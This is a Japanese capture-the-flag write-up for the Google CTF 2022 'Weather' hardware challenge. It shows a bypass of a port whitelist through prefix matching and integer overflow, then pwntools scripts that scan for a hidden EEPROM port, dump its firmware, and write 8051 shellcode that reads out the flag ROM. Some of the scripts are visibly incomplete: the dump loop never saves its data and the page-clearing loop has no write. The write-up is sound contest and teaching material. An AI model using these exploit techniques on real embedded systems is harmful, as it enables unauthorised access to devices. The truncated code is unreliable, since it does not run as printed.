Google CTF 2022: Weather (hardware)
問題文
Our DYI Weather Station is fully secure! No, really! Why are you laughing?! OK, to prove it we're going to put a flag in the internal ROM, give you the source code, datasheet, and network access to the interface.
weather.2022.ctfcompetition.com 1337
問題概要
システムのデータシートとファームウェアのソースコードが与えられる。 https://gyazo.com/0b9aa30804e3bf09294cd86fa3917c24
解法
与えられたデータシートを読むと、いくつかモジュールがあり、マイクロコントローラに内蔵しているFlagROMモジュールからフラグを得られることがわかる。FlagROMからデータを読むには、まずSFRであるFLAGROM_ADDRレジスタにインデックスを指定し、FLAGROM_DATAレジスタから値を読み出せば良い。だが、与えられたfirmware.cを読む限り、通常の手段ではこれらレジスタを操作できない。どうにかしてこのフラグを読みたい。 firmware.cを読むと、I2C通信で各センサーのデータを読めることがわかる。また、センサーに対してはできなかったが、データの書き込みもできる。次の構文で読み書きが可能。
読み: r <port> <N>
書き: w <port> <N> <byte1> <byte2> ... <byteN>
ここでデータシートを振り返ると、センサー類とはI2Cで通信するが、EEPROMとはI2CとSPIで通信し、ウェザーステーション(我々ユーザー)とはUARTで通信している。 ハードウェア的にはI2CでEEPROMと通信できるが、アクセスできるポートはソフトウェアで制限がかかっており、以下のポートのみ。
code:c
const char *ALLOWED_I2C[] = {
"101", // Thermometers (4x).
"108", // Atmospheric pressure sensor.
"110", // Light sensor A.
"111", // Light sensor B.
"119", // Humidity sensor.
NULL
};
ポートのチェックは、このALLOWED_I2Cをもとにis_port_allowed関数でチェックしている。
code:c
bool is_port_allowed(const char *port) {
for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
const char *pa = *allowed;
const char *pb = port;
bool allowed = true;
while (*pa && *pb) {
if (*pa++ != *pb++) {
allowed = false;
break;
}
}
if (allowed && *pa == '\0') {
return true;
}
}
return false;
}
ホワイトリストのポートごとに1文字ずつチェックをしているが、このチェックには脆弱性がある。pbがユーザーが指定するポートの文字列だが、ALLOWED_I2Cで定義するポートは3文字であり、while文では3文字分しかチェックされない。先頭3文字が一致していれば、このチェックを通り抜けることができる。例えば、許可されているポートに111があるためr 1111 1というコマンドは実行できてしまう。
このポートの文字列は次のstr_to_uint8関数でuint8に変換しているが、オーバーフローさせれば任意のポートへのアクセスが可能になる。
code:c
uint8_t str_to_uint8(const char *s) {
uint8_t v = 0;
while (*s) {
uint8_t digit = *s++ - '0';
if (digit >= 10) {
return 0;
}
v = v * 10 + digit;
}
return v;
}
uint8_t型の変数vに各文字ごとに加算していくので、入力を256でmodした値が返り値となる。
そこでポートスキャンを行う。ポートはint8_t型であるため0から127までを探索すれば良い。 code:scan_port.py
from pwn import *
io = remote("weather.2022.ctfcompetition.com", 1337, level='debug')
io.recvuntil(b"? ")
ports = []
for i in range(256):
port = (111000 + i) % 256
if port >= 128: continue
io.sendline(f"r 111{i:03} 1")
res = io.recvuntil(b"? ")
if b"completed" in res:
ports.append(port)
print(ports)
結果は33, 101, 108, 110, 111, 119であり、未知のポート33(111137 % 256)が見つかる。このポートからEEPROMとI2Cで通信できるだろうと推測できる。
データシートでEEPROMのI2Cインターフェースを読むと、w <EEPROM port> 1 <page index>をしたあとr <EEPROM port> 64をすれば、指定したページインデックスからページの全長である64バイトまでデータを読めることがわかる。
Reading data from a 64-byte page is done in two steps:
1. Select the page by writing the page index to EEPROM's I2C address.
2. Receive up to 64 bytes by reading from the EEPROM's I2C address.
これを使えば、EEPROMに記録されているデータを全て吸い出せる。
code:dump.py
from pwn import *
io = remote("weather.2022.ctfcompetition.com", 1337, level="DEBUG")
io.recvuntil(b"? ")
EEPROM_PORT = 111009
dump = open("dump", "wb")
for i in range(64):
io.sendline(f"w {EEPROM_PORT} 1 {i}".encode())
res = io.recvuntil(b"? ")
io.sendline(f"r {EEPROM_PORT} 64".encode())
io.recvuntil(b"ready\n")
data = io.recvuntil(b"-end\n", drop=True).replace(b"\n", b" ").strip().decode().split(" ")
for b in data:
io.recvuntil(b"? ")
このダンプデータは何か?それはマイクロコントローラがアクセスするプログラムのバイナリである。マイクロコントローラがI2C通信で、不揮発性メモリであるEEPROMに載っているバイナリを逐次読みプログラムを実行している。そして、このマイクロコントローラは、「CTF-8051」という名前からわかるようにIntel 8051かその互換であると推測でき、今吸い出したデータをディアセンブラにIntel 8051アーキテクチャを指定して投げてみる。 とりあえずGhidraを使って↓のようにLanguageを設定したが、駄目だった。
https://gyazo.com/3a2e54e53e9c302481206faa4716f5e5
code:txt(sh)
$ r2 -a 8051 dump
-- Calculate checksums for the current block with the commands starting with '#' (#md5, #crc32, #all, ..) ┌─< 0x00000000 020006 ljmp 0x0006
┌┌┌──> 0x00000003 0204e4 ljmp 0x04e4
│╎╎└─> 0x00000006 758130 mov sp, #0x30 ; '0' ...
このプログラムを書き換えて、フラグを読み出せるようにすれば良さそうである。データシートには、I2C通信経由で書き換える方法が書いてある。
https://gyazo.com/93505f02a897617b61807e0882da75bc
これにより、w <EEPROM port> <N+1+4> <page index> <4 byte write key> <byte1> <byte2> ... <byteN>を実行すれば指定したページを書き換えられる。ただし、EEPROMは不揮発性メモリであるが、ビットを1から0に書き換えることはできても、0から1に書き換えることができない。例えば、0x00のバイトは絶対0x00のままになる。その制約のもとフラグを表示するプログラムを作る必要がある。
ダンプをしたときにわかったことだが、プログラムはページ40の2バイト目までで、3バイト目以降は全てのバイトが0xFFになっている。0xFFであれば全てのビットが立っているから、任意のデータを書き込むことができる。そこで、ここにフラグを表示するプログラム、つまりShellcodeを書き込み、何かしらの手段でここにプログラムカウンタを持ってこれば良さそうである。 まずは、フラグを表示するShellcodeを作る。Intel 8051のレジスタの振る舞いを考慮し8051の命令セット一覧を読みながら次のコードを作った。 code:py
payload = [
0x00, 0x00, # NOP NOP
0x8a, 0xee, # MOV FLAGROM_ADDR, R2
0x85, 0xef, 0xf2, # MOV SERIAL_OUT_DATA, FLAGROM_DATA
0x0a, # INC R2
0x80, 0xff - 8 # SJMP
]
今回はページごとの書き込みであるため、既にプログラムが書き込まれてしまっている先頭2バイトはNOPにしている。流れは以下である。
1. R2レジスタをループのインデックスとし0で初期化。
2. FLAGROM_ADDRレジスタにR2レジスタの値をセット。
3. SERIAL_OUT_DATAレジスタにFLAGROM_DATAを読み込みしてデータを出力。
0x85, 0xef, 0xf2は、0xf2のレジスタを0xefの値にするという順番に注意。
現実的にはSERIAL_OUT_READYのチェックを入れたほうが良い。
4. R2レジスタをインクリメント。
5. 1へ戻る。
このShellcodeをページ40に書き込む。肝心の飛ばす方法だが、ページ39から順番に全てのデータをゼロクリアしてあげればよい。結局、EEPROMを元に逐次実行しているだけであるから、そのEEPROMのデータを全てふっ飛ばしてNOP(\x00)にすれば、Shellcodeの実行まで辿り着く。
エクスプロイトコードは以下。
code:exploit.py
from pwn import *
io = remote("weather.2022.ctfcompetition.com", 1337, level="DEBUG")
EEPROM_PORT = 111009
def write(page, payload):
req_len = len(payload) + 5
io.sendline(f"w {EEPROM_PORT} {req_len} {page} 165 90 165 90 {payload}".encode())
payload = [
0x00, 0x00, # NOP NOP
0x8a, 0xee, # MOV FLAGROM_ADDR, R2
0x85, 0xef, 0xf2, # MOV SERIAL_OUT_DATA, FLAGROM_DATA
0x0a, # INC R2
0x80, 0xff - 8 # SJMP
]
write(40, payload)
for page in range(39, 0, -1):
while True:
res = io.recvuntil(b"ready\n", timeout=5)
if res == b"":
break
flag = io.recvuntil(b"}")
print(flag)
Flag: CTF{DoesAnyoneEvenReadFlagsAnymore?}
余談
アーキテクチャは推測しなくてもbinwalkのcpu_recモジュールを使えば識別できる。binwalk -% dumpとすれば8051と出力される。